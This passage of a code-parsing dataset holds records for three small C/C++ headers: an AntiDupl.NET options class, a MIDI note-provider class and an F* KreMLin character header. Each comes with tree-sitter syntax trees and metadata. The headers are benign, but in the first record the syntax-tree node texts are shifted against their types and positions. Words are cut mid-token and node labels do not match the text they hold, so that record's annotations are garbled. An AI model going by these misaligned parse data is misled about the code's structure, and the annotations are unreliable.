Save(const TC", "parent": 199, "children": [201, 202, 203], "start_point": {"row": 81, "column": 21}, "end_point": {"row": 81, "column": 42}}, {"id": 201, "type": "type_qualifier", "text": "adErr", "parent": 200, "children": [], "start_point": {"row": 81, "column": 21}, "end_point": {"row": 81, "column": 26}}, {"id": 202, "type": "type_identifier", "text": "r Sav", "parent": 200, "children": [], "start_point": {"row": 81, "column": 27}, "end_point": {"row": 81, "column": 32}}, {"id": 203, "type": "pointer_declarator", "text": "(const TC", "parent": 200, "children": [204], "start_point": {"row": 81, "column": 33}, "end_point": {"row": 81, "column": 42}}, {"id": 204, "type": "identifier", "text": "const TC", "parent": 203, "children": [], "start_point": {"row": 81, "column": 34}, "end_point": {"row": 81, "column": 42}}, {"id": 205, "type": "field_declaration", "text": "e) const;\r\n\r\n int GetIgnoreWidthFra", "parent": 115, "children": [206, 207, 215], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 50}}, {"id": 206, "type": "type_identifier", "text": "e) cons", "parent": 205, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 15}}, {"id": 207, "type": "function_declarator", "text": ";\r\n\r\n int GetIgnoreW", "parent": 205, "children": [208], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 82, "column": 43}}, {"id": 208, "type": "parameter_list", "text": "\n int GetIgnoreW", "parent": 207, "children": [209], "start_point": {"row": 82, "column": 20}, "end_point": {"row": 82, "column": 43}}, {"id": 209, "type": "parameter_declaration", "text": " int GetIgnore", "parent": 208, "children": [210, 211, 212], "start_point": {"row": 82, "column": 21}, "end_point": {"row": 82, "column": 42}}, {"id": 210, "type": "type_qualifier", "text": " ", "parent": 209, "children": [], "start_point": {"row": 82, "column": 21}, "end_point": {"row": 82, "column": 26}}, {"id": 211, "type": "type_identifier", "text": " int", "parent": 209, "children": [], "start_point": {"row": 82, "column": 27}, "end_point": {"row": 82, "column": 32}}, {"id": 212, "type": "pointer_declarator", "text": "GetIgnore", "parent": 209, "children": [213, 214], "start_point": {"row": 82, "column": 33}, "end_point": {"row": 82, "column": 42}}, {"id": 213, "type": "*", "text": "G", "parent": 212, "children": [], "start_point": {"row": 82, "column": 33}, "end_point": {"row": 82, "column": 34}}, {"id": 214, "type": "identifier", "text": "etIgnore", "parent": 212, "children": [], "start_point": {"row": 82, "column": 34}, "end_point": {"row": 82, "column": 42}}, {"id": 215, "type": "ERROR", "text": "dthFr", "parent": 205, "children": [216], "start_point": {"row": 82, "column": 44}, "end_point": {"row": 82, "column": 49}}, {"id": 216, "type": "identifier", "text": "dthFr", "parent": 215, "children": [], "start_point": {"row": 82, "column": 44}, "end_point": {"row": 82, "column": 49}}, {"id": 217, "type": "field_declaration", "text": "\n\r\n private:\r\n typedef", "parent": 115, "children": [218, 219, 222], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 40}}, {"id": 218, "type": "primitive_type", "text": "\n\r\n", "parent": 217, "children": [], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 11}}, {"id": 219, "type": "function_declarator", "text": " private:\r\n ", "parent": 217, "children": [220, 221], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 33}}, {"id": 220, "type": "field_identifier", "text": " private:\r\n ", "parent": 219, "children": [], "start_point": {"row": 84, "column": 12}, "end_point": {"row": 84, "column": 31}}, {"id": 221, "type": "parameter_list", "text": " ", "parent": 219, "children": [], "start_point": {"row": 84, "column": 31}, "end_point": {"row": 84, "column": 33}}, {"id": 222, "type": "ERROR", "text": "ypede", "parent": 217, "children": [223], "start_point": {"row": 84, "column": 34}, "end_point": {"row": 84, "column": 39}}, {"id": 223, "type": "identifier", "text": "ypede", "parent": 222, "children": [], "start_point": {"row": 84, "column": 34}, "end_point": {"row": 84, "column": 39}}, {"id": 224, "type": "field_declaration", "text": "st<TOption> TOptionsList;\r\n\r\n TOptionsList m_option", "parent": 115, "children": [225, 226, 227], "start_point": {"row": 86, "column": 4}, "end_point": {"row": 87, "column": 48}}, {"id": 225, "type": "type_identifier", "text": "st<TOpt", "parent": 224, "children": [], "start_point": {"row": 86, "column": 4}, "end_point": {"row": 86, "column": 11}}, {"id": 226, "type": "field_identifier", "text": "", "parent": 224, "children": [], "start_point": {"row": 86, "column": 11}, "end_point": {"row": 86, "column": 11}}, {"id": 227, "type": "bitfield_clause", "text": "ion> TOptionsList;\r\n\r\n TOptionsList m_optio", "parent": 224, "children": [228], "start_point": {"row": 86, "column": 11}, "end_point": {"row": 87, "column": 47}}, {"id": 228, "type": "binary_expression", "text": "nsList;\r\n\r\n TOptionsList m_optio", "parent": 227, "children": [229, 236, 237], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 47}}, {"id": 229, "type": "binary_expression", "text": "nsList;\r\n\r\n TOptio", "parent": 228, "children": [230, 231, 234, 235], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 33}}, {"id": 230, "type": "identifier", "text": "nsList;", "parent": 229, "children": [], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 15}}, {"id": 231, "type": "ERROR", "text": "\n\r\n ", "parent": 229, "children": [232, 233], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 87, "column": 25}}, {"id": 232, "type": "identifier", "text": "\n\r\n", "parent": 231, "children": [], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 87, "column": 19}}, {"id": 233, "type": "identifier", "text": " ", "parent": 231, "children": [], "start_point": {"row": 87, "column": 21}, "end_point": {"row": 87, "column": 25}}, {"id": 234, "type": "<", "text": " ", "parent": 229, "children": [], "start_point": {"row": 87, "column": 25}, "end_point": {"row": 87, "column": 26}}, {"id": 235, "type": "identifier", "text": " TOptio", "parent": 229, "children": [], "start_point": {"row": 87, "column": 26}, "end_point": {"row": 87, "column": 33}}, {"id": 236, "type": ">", "text": "n", "parent": 228, "children": [], "start_point": {"row": 87, "column": 33}, "end_point": {"row": 87, "column": 34}}, {"id": 237, "type": "identifier", "text": "List m_optio", "parent": 228, "children": [], "start_point": {"row": 87, "column": 35}, "end_point": {"row": 87, "column": 47}}, {"id": 238, "type": "field_declaration", "text": " //-----------------", "parent": 115, "children": [239, 240], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 31}}, {"id": 239, "type": "type_identifier", "text": " //------", "parent": 238, "children": [], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 20}}, {"id": 240, "type": "field_identifier", "text": "---------", "parent": 238, "children": [], "start_point": {"row": 89, "column": 21}, "end_point": {"row": 89, "column": 30}}, {"id": 241, "type": "#endif", "text": "", "parent": 0, "children": [], "start_point": {"row": 94, "column": 0}, "end_point": {"row": 94, "column": 6}}]}, "node_categories": {"declarations": {"functions": [15, 18, 64, 68, 72, 83, 159, 164, 169, 182, 197, 207, 219], "variables": [62, 66, 70, 75, 86, 95, 100, 103, 106, 109, 112, 118, 121, 124, 127, 130, 133, 136, 139, 142, 145, 148, 157, 162, 167, 172, 175, 180, 185, 188, 195, 200, 205, 209, 217, 224, 238], "classes": [115, 116], "imports": [6, 7, 9, 10, 12, 13], "modules": [], "enums": []}, "statements": {"expressions": [23, 26, 32, 38, 57, 59, 228, 229], "assignments": [47, 53], "loops": [], "conditionals": [0, 1, 2, 5, 16, 17, 19, 20, 22, 24, 27, 29, 31, 33, 35, 37, 39, 41, 43, 44, 46, 48, 50, 52, 54, 56, 60, 65, 69, 73, 76, 77, 80, 84, 87, 88, 91, 92, 94, 99, 101, 102, 104, 105, 108, 111, 114, 117, 119, 120, 122, 123, 125, 126, 128, 129, 131, 132, 134, 135, 137, 138, 140, 141, 143, 144, 146, 147, 149, 150, 152, 153, 156, 160, 165, 168, 170, 173, 174, 179, 181, 183, 186, 187, 192, 194, 196, 198, 201, 202, 204, 206, 210, 211, 214, 216, 220, 223, 225, 226, 230, 232, 233, 235, 237, 239, 240, 241], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": [227]}}, "cross_language_map": {"function_declarations": [{"node_id": 15, "universal_type": "function", "name": "TOption", "text_snippet": "mespace ad\r\n{\r\n //-------------------------------------------------------------------------\r\n "}, {"node_id": 18, "universal_type": "function", "name": "default,", "text_snippet": "ass TOption\r\n {\r\n public:\r\n TOption(int *pValue, const TChar* section, const TChar* key"}, {"node_id": 64, "universal_type": "function", "name": "unknown", "text_snippet": "tDefault();\r"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "lidate();\r"}, {"node_id": 72, "universal_type": "function", "name": "unknown", "text_snippet": "ad(const TChar *fileName);\r"}, {"node_id": 83, "universal_type": "function", "name": "unknown", "text_snippet": "ve(const TChar *fileName) const;\r"}, {"node_id": 159, "universal_type": "function", "name": "unknown", "text_snippet": "ate();\r\n\r\n "}, {"node_id": 164, "universal_type": "function", "name": "unknown", "text_snippet": "port(adOpt"}, {"node_id": 169, "universal_type": "function", "name": "unknown", "text_snippet": " void* pOptions);\r\n adError Export(adOptio"}, {"node_id": 182, "universal_type": "function", "name": "unknown", "text_snippet": " void* pOptions) const;\r\n\r\n adError Load(c"}, {"node_id": 197, "universal_type": "function", "name": "unknown", "text_snippet": " adError Save(const TCh"}, {"node_id": 207, "universal_type": "function", "name": "GetIgnoreW", "text_snippet": ";\r\n\r\n int GetIgnoreW"}, {"node_id": 219, "universal_type": "function", "name": "unknown", "text_snippet": " private:\r\n "}], "class_declarations": [{"node_id": 115, "universal_type": "class", "name": "SetDefault", "text_snippet": "String userPath;\r\n TString statisticsPath;\r\n\r\n TPathContainer searchPaths;\r\n TP"}, {"node_id": 116, "universal_type": "class", "name": "unknown", "text_snippet": "String"}], "import_statements": [{"node_id": 6, "text": "nclude <list>\r\n\r\n"}, {"node_id": 7, "text": "nclude <"}, {"node_id": 9, "text": "nclude <limits.h>\r\n\r\n"}, {"node_id": 10, "text": "nclude <"}, {"node_id": 12, "text": "nclude \"adPath.h\"\r\n\r\n"}, {"node_id": 13, "text": "nclude \""}]}, "original_source_code": "\ufeff/*\r\n* AntiDupl.NET Program (http://ermig1979.github.io/AntiDupl).\r\n*\r\n* Copyright (c) 2002-2018 <NAME>.\r\n*\r\n* Permission is hereby granted, free of charge, to any person obtaining a copy \r\n* of this software and associated documentation files (the \"Software\"), to deal\r\n* in the Software without restriction, including without limitation the rights\r\n* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \r\n* copies of the Software, and to permit persons to whom the Software is \r\n* furnished to do so, subject to the following conditions:\r\n*\r\n* The above copyright notice and this permission notice shall be included in \r\n* all copies or substantial portions of the Software.\r\n*\r\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \r\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \r\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \r\n* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \r\n* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n* SOFTWARE.\r\n*/\r\n#ifndef __adOptions_h__\r\n#define __adOptions_h__\r\n\r\n#include <list>\r\n\r\n#include <limits.h>\r\n\r\n\r\n#include \"adPath.h\"\r\n\r\nnamespace ad\r\n{\r\n //-------------------------------------------------------------------------\r\n class TOption\r\n {\r\n public:\r\n TOption(int *pValue, const TChar* section, const TChar* key, int default, \r\n int min = INT_MIN, int max = INT_MAX);\r\n ~TOption(){};\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n void Load(const TChar *fileName);\r\n bool Save(const TChar *fileName) const;\r\n\r\n private:\r\n int *m_pValue;\r\n TString m_key;\r\n TString m_section;\r\n int m_default; //\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\r\n int m_min;\r\n int m_max;\t//\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435\r\n };\r\n //-------------------------------------------------------------------------\r\n struct TOptions\r\n {\r\n TString userPath;\r\n TString statisticsPath;\r\n\r\n TPathContainer searchPaths;\r\n TPathContainer ignorePaths;\r\n TPathContainer validPaths;\r\n TPathContainer deletePaths;\r\n\r\n adSearchOptions search;\r\n adCompareOptions compare;\r\n adDefectOptions defect;\r\n adAdvancedOptions advanced;\r\n\r\n TOptions(const TString & userPath_);\r\n\r\n void SetDefault();\r\n void Validate();\r\n\r\n adError Import(adOptionsType optionsType, void* pOptions);\r\n adError Export(adOptionsType optionsType, void* pOptions) const;\r\n\r\n adError Load(const TChar *fileName);\r\n adError Save(const TChar *fileName) const;\r\n\r\n int GetIgnoreWidthFrame() const;\r\n\r\n private:\r\n typedef std::list<TOption> TOptionsList;\r\n\r\n TOptionsList m_options;\r\n };\r\n //-------------------------------------------------------------------------\r\n}\r\n\r\n#endif/*__adOptions_h__*/"}
81,101
c
#pragma once #include "NoteProvider.h" class RtMidiIn; class NoteProviderMidi : public NoteProvider { public: NoteProviderMidi(); virtual ~NoteProviderMidi(); virtual void update(); bool IsAvailable(); private: RtMidiIn* mMidiIn; };
17.38
13
(translation_unit) "#pragma once\n\n#include "NoteProvider.h"\n\nclass RtMidiIn;\n\nclass NoteProviderMidi : public NoteProvider\n{\npublic:\n NoteProviderMidi();\n virtual ~NoteProviderMidi(); \n\n virtual void update();\n\n bool IsAvailable();\n\nprivate:\n RtMidiIn* mMidiIn;\n};" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "NoteProvider.h"\n" (#include) "#include" (string_literal) ""NoteProvider.h"" (") """ (string_content) "NoteProvider.h" (") """ (declaration) "class RtMidiIn;" (type_identifier) "class" (identifier) "RtMidiIn" (;) ";" (function_definition) "class NoteProviderMidi : public NoteProvider\n{\npublic:\n NoteProviderMidi();\n virtual ~NoteProviderMidi(); \n\n virtual void update();\n\n bool IsAvailable();\n\nprivate:\n RtMidiIn* mMidiIn;\n}" (type_identifier) "class" (identifier) "NoteProviderMidi" (ERROR) ": public NoteProvider" (:) ":" (identifier) "public" (identifier) "NoteProvider" (compound_statement) "{\npublic:\n NoteProviderMidi();\n virtual ~NoteProviderMidi(); \n\n virtual void update();\n\n bool IsAvailable();\n\nprivate:\n RtMidiIn* mMidiIn;\n}" ({) "{" (labeled_statement) "public:\n NoteProviderMidi();" (statement_identifier) "public" (:) ":" (expression_statement) "NoteProviderMidi();" (call_expression) "NoteProviderMidi()" (identifier) "NoteProviderMidi" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "virtual ~NoteProviderMidi();" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "NoteProviderMidi()" (identifier) "NoteProviderMidi" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "virtual void update();" (type_identifier) "virtual" (ERROR) "void" (identifier) "void" (function_declarator) "update()" (identifier) "update" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "bool IsAvailable();" (primitive_type) "bool" (function_declarator) "IsAvailable()" (identifier) "IsAvailable" (parameter_list) "()" (() "(" ()) ")" (;) ";" (labeled_statement) "private:\n RtMidiIn* mMidiIn;" (statement_identifier) "private" (:) ":" (declaration) "RtMidiIn* mMidiIn;" (type_identifier) "RtMidiIn" (pointer_declarator) "* mMidiIn" (*) "*" (identifier) "mMidiIn" (;) ";" (}) "}" (expression_statement) ";" (;) ";"
73
3
{"language": "c", "success": true, "metadata": {"lines": 13, "avg_line_length": 17.38, "nodes": 41, "errors": 0, "source_hash": "f080e7264ac4f3c15140bdcfea080c2aca57c7d9cd4e33b6e6dd158c3cc7249e", "categorized_nodes": 26}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"NoteProvider.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"NoteProvider.h\"", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 25}}, {"id": 6, "type": "declaration", "text": "class RtMidiIn;", "parent": null, "children": [7], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 15}}, {"id": 7, "type": "identifier", "text": "RtMidiIn", "parent": 6, "children": [], "start_point": {"row": 4, "column": 6}, "end_point": {"row": 4, "column": 14}}, {"id": 8, "type": "function_definition", "text": "class NoteProviderMidi : public NoteProvider\n{\npublic:\n\tNoteProviderMidi();\n\tvirtual ~NoteProviderMidi();\t\n\n\tvirtual void update();\n\n\tbool IsAvailable();\n\nprivate:\n\tRtMidiIn* mMidiIn;\n}", "parent": null, "children": [9, 10], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 9, "type": "identifier", "text": "NoteProviderMidi", "parent": 8, "children": [], "start_point": {"row": 6, "column": 6}, "end_point": {"row": 6, "column": 22}}, {"id": 10, "type": "ERROR", "text": ": public NoteProvider", "parent": 8, "children": [11], "start_point": {"row": 6, "column": 23}, "end_point": {"row": 6, "column": 44}}, {"id": 11, "type": "identifier", "text": "NoteProvider", "parent": 10, "children": [], "start_point": {"row": 6, "column": 32}, "end_point": {"row": 6, "column": 44}}, {"id": 12, "type": "labeled_statement", "text": "public:\n\tNoteProviderMidi();", "parent": 8, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 20}}, {"id": 13, "type": "call_expression", "text": "NoteProviderMidi()", "parent": 12, "children": [14, 15], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 9, "column": 19}}, {"id": 14, "type": "identifier", "text": "NoteProviderMidi", "parent": 13, "children": [], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 9, "column": 17}}, {"id": 15, "type": "argument_list", "text": "()", "parent": 13, "children": [], "start_point": {"row": 9, "column": 17}, "end_point": {"row": 9, "column": 19}}, {"id": 16, "type": "declaration", "text": "virtual ~NoteProviderMidi();", "parent": 8, "children": [17, 18, 20], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 29}}, {"id": 17, "type": "type_identifier", "text": "virtual", "parent": 16, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 8}}, {"id": 18, "type": "ERROR", "text": "~", "parent": 16, "children": [19], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 10}}, {"id": 19, "type": "~", "text": "~", "parent": 18, "children": [], "start_point": {"row": 10, "column": 9}, "end_point": {"row": 10, "column": 10}}, {"id": 20, "type": "function_declarator", "text": "NoteProviderMidi()", "parent": 16, "children": [21, 22], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 28}}, {"id": 21, "type": "identifier", "text": "NoteProviderMidi", "parent": 20, "children": [], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 26}}, {"id": 22, "type": "parameter_list", "text": "()", "parent": 20, "children": [], "start_point": {"row": 10, "column": 26}, "end_point": {"row": 10, "column": 28}}, {"id": 23, "type": "declaration", "text": "virtual void update();", "parent": 8, "children": [24, 25, 27], "start_point": {"row": 12, "column": 1}, "end_point": {"row": 12, "column": 23}}, {"id": 24, "type": "type_identifier", "text": "virtual", "parent": 23, "children": [], "start_point": {"row": 12, "column": 1}, "end_point": {"row": 12, "column": 8}}, {"id": 25, "type": "ERROR", "text": "void", "parent": 23, "children": [26], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 13}}, {"id": 26, "type": "identifier", "text": "void", "parent": 25, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 13}}, {"id": 27, "type": "function_declarator", "text": "update()", "parent": 23, "children": [28, 29], "start_point": {"row": 12, "column": 14}, "end_point": {"row": 12, "column": 22}}, {"id": 28, "type": "identifier", "text": "update", "parent": 27, "children": [], "start_point": {"row": 12, "column": 14}, "end_point": {"row": 12, "column": 20}}, {"id": 29, "type": "parameter_list", "text": "()", "parent": 27, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 22}}, {"id": 30, "type": "declaration", "text": "bool IsAvailable();", "parent": 8, "children": [31, 32], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 14, "column": 20}}, {"id": 31, "type": "primitive_type", "text": "bool", "parent": 30, "children": [], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 14, "column": 5}}, {"id": 32, "type": "function_declarator", "text": "IsAvailable()", "parent": 30, "children": [33, 34], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 19}}, {"id": 33, "type": "identifier", "text": "IsAvailable", "parent": 32, "children": [], "start_point": {"row": 14, "column": 6}, "end_point": {"row": 14, "column": 17}}, {"id": 34, "type": "parameter_list", "text": "()", "parent": 32, "children": [], "start_point": {"row": 14, "column": 17}, "end_point": {"row": 14, "column": 19}}, {"id": 35, "type": "labeled_statement", "text": "private:\n\tRtMidiIn* mMidiIn;", "parent": 8, "children": [36], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 19}}, {"id": 36, "type": "declaration", "text": "RtMidiIn* mMidiIn;", "parent": 35, "children": [37, 38], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 19}}, {"id": 37, "type": "type_identifier", "text": "RtMidiIn", "parent": 36, "children": [], "start_point": {"row": 17, "column": 1}, "end_point": {"row": 17, "column": 9}}, {"id": 38, "type": "pointer_declarator", "text": "* mMidiIn", "parent": 36, "children": [39, 40], "start_point": {"row": 17, "column": 9}, "end_point": {"row": 17, "column": 18}}, {"id": 39, "type": "*", "text": "*", "parent": 38, "children": [], "start_point": {"row": 17, "column": 9}, "end_point": {"row": 17, "column": 10}}, {"id": 40, "type": "identifier", "text": "mMidiIn", "parent": 38, "children": [], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 18}}]}, "node_categories": {"declarations": {"functions": [8, 20, 27, 32], "variables": [6, 16, 23, 30, 36], "classes": [], "imports": [3, 4], "modules": [], "enums": []}, "statements": {"expressions": [13], "assignments": [], "loops": [], "conditionals": [7, 9, 11, 14, 17, 21, 24, 26, 28, 33, 37, 40], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 8, "universal_type": "function", "name": "NoteProviderMidi", "text_snippet": "class NoteProviderMidi : public NoteProvider\n{\npublic:\n\tNoteProviderMidi();\n\tvirtual ~NoteProviderMi"}, {"node_id": 20, "universal_type": "function", "name": "unknown", "text_snippet": "NoteProviderMidi()"}, {"node_id": 27, "universal_type": "function", "name": "unknown", "text_snippet": "update()"}, {"node_id": 32, "universal_type": "function", "name": "unknown", "text_snippet": "IsAvailable()"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"NoteProvider.h\"\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include \"NoteProvider.h\"\n\nclass RtMidiIn;\n\nclass NoteProviderMidi : public NoteProvider\n{\npublic:\n\tNoteProviderMidi();\n\tvirtual ~NoteProviderMidi();\t\n\n\tvirtual void update();\n\n\tbool IsAvailable();\n\nprivate:\n\tRtMidiIn* mMidiIn;\n};"}
81,102
c
/* Copyright (c) INRIA and Microsoft Corporation. All rights reserved. Licensed under the Apache 2.0 License. */ #include <inttypes.h> #include "kremlib.h" #include "kremlin/internal/compat.h" #include "kremlin/internal/target.h" #ifndef __FStar_Char_H #define __FStar_Char_H typedef uint32_t FStar_Char_char_code; extern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10); extern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22); extern Prims_int FStar_Char_int_of_char(FStar_Char_char c); extern FStar_Char_char FStar_Char_char_of_int(Prims_int i); extern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52); extern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66); #define __FStar_Char_H_DEFINED #endif
34.86
21
(translation_unit) "/*\n Copyright (c) INRIA and Microsoft Corporation. All rights reserved.\n Licensed under the Apache 2.0 License.\n*/\n\n#include <inttypes.h>\n#include "kremlib.h"\n#include "kremlin/internal/compat.h"\n#include "kremlin/internal/target.h"\n\n#ifndef __FStar_Char_H\n#define __FStar_Char_H\n\n\n\n\ntypedef uint32_t FStar_Char_char_code;\n\nextern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);\n\nextern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);\n\nextern Prims_int FStar_Char_int_of_char(FStar_Char_char c);\n\nextern FStar_Char_char FStar_Char_char_of_int(Prims_int i);\n\nextern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);\n\nextern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);\n\n#define __FStar_Char_H_DEFINED\n#endif\n" (comment) "/*\n Copyright (c) INRIA and Microsoft Corporation. All rights reserved.\n Licensed under the Apache 2.0 License.\n*/" (preproc_include) "#include <inttypes.h>\n" (#include) "#include" (system_lib_string) "<inttypes.h>" (preproc_include) "#include "kremlib.h"\n" (#include) "#include" (string_literal) ""kremlib.h"" (") """ (string_content) "kremlib.h" (") """ (preproc_include) "#include "kremlin/internal/compat.h"\n" (#include) "#include" (string_literal) ""kremlin/internal/compat.h"" (") """ (string_content) "kremlin/internal/compat.h" (") """ (preproc_include) "#include "kremlin/internal/target.h"\n" (#include) "#include" (string_literal) ""kremlin/internal/target.h"" (") """ (string_content) "kremlin/internal/target.h" (") """ (preproc_ifdef) "#ifndef __FStar_Char_H\n#define __FStar_Char_H\n\n\n\n\ntypedef uint32_t FStar_Char_char_code;\n\nextern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);\n\nextern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);\n\nextern Prims_int FStar_Char_int_of_char(FStar_Char_char c);\n\nextern FStar_Char_char FStar_Char_char_of_int(Prims_int i);\n\nextern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);\n\nextern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);\n\n#define __FStar_Char_H_DEFINED\n#endif" (#ifndef) "#ifndef" (identifier) "__FStar_Char_H" (preproc_def) "#define __FStar_Char_H\n" (#define) "#define" (identifier) "__FStar_Char_H" (type_definition) "typedef uint32_t FStar_Char_char_code;" (typedef) "typedef" (primitive_type) "uint32_t" (type_identifier) "FStar_Char_char_code" (;) ";" (declaration) "extern uint32_t FStar_Char_u32_of_char(FStar_Char_char uu____10);" (storage_class_specifier) "extern" (extern) "extern" (primitive_type) "uint32_t" (function_declarator) "FStar_Char_u32_of_char(FStar_Char_char uu____10)" (identifier) "FStar_Char_u32_of_char" (parameter_list) "(FStar_Char_char uu____10)" (() "(" (parameter_declaration) "FStar_Char_char uu____10" (type_identifier) "FStar_Char_char" (identifier) "uu____10" ()) ")" (;) ";" (declaration) "extern FStar_Char_char FStar_Char_char_of_u32(uint32_t uu____22);" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "FStar_Char_char" (function_declarator) "FStar_Char_char_of_u32(uint32_t uu____22)" (identifier) "FStar_Char_char_of_u32" (parameter_list) "(uint32_t uu____22)" (() "(" (parameter_declaration) "uint32_t uu____22" (primitive_type) "uint32_t" (identifier) "uu____22" ()) ")" (;) ";" (declaration) "extern Prims_int FStar_Char_int_of_char(FStar_Char_char c);" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "Prims_int" (function_declarator) "FStar_Char_int_of_char(FStar_Char_char c)" (identifier) "FStar_Char_int_of_char" (parameter_list) "(FStar_Char_char c)" (() "(" (parameter_declaration) "FStar_Char_char c" (type_identifier) "FStar_Char_char" (identifier) "c" ()) ")" (;) ";" (declaration) "extern FStar_Char_char FStar_Char_char_of_int(Prims_int i);" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "FStar_Char_char" (function_declarator) "FStar_Char_char_of_int(Prims_int i)" (identifier) "FStar_Char_char_of_int" (parameter_list) "(Prims_int i)" (() "(" (parameter_declaration) "Prims_int i" (type_identifier) "Prims_int" (identifier) "i" ()) ")" (;) ";" (declaration) "extern FStar_Char_char FStar_Char_lowercase(FStar_Char_char uu____52);" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "FStar_Char_char" (function_declarator) "FStar_Char_lowercase(FStar_Char_char uu____52)" (identifier) "FStar_Char_lowercase" (parameter_list) "(FStar_Char_char uu____52)" (() "(" (parameter_declaration) "FStar_Char_char uu____52" (type_identifier) "FStar_Char_char" (identifier) "uu____52" ()) ")" (;) ";" (declaration) "extern FStar_Char_char FStar_Char_uppercase(FStar_Char_char uu____66);" (storage_class_specifier) "extern" (extern) "extern" (type_identifier) "FStar_Char_char" (function_declarator) "FStar_Char_uppercase(FStar_Char_char uu____66)" (identifier) "FStar_Char_uppercase" (parameter_list) 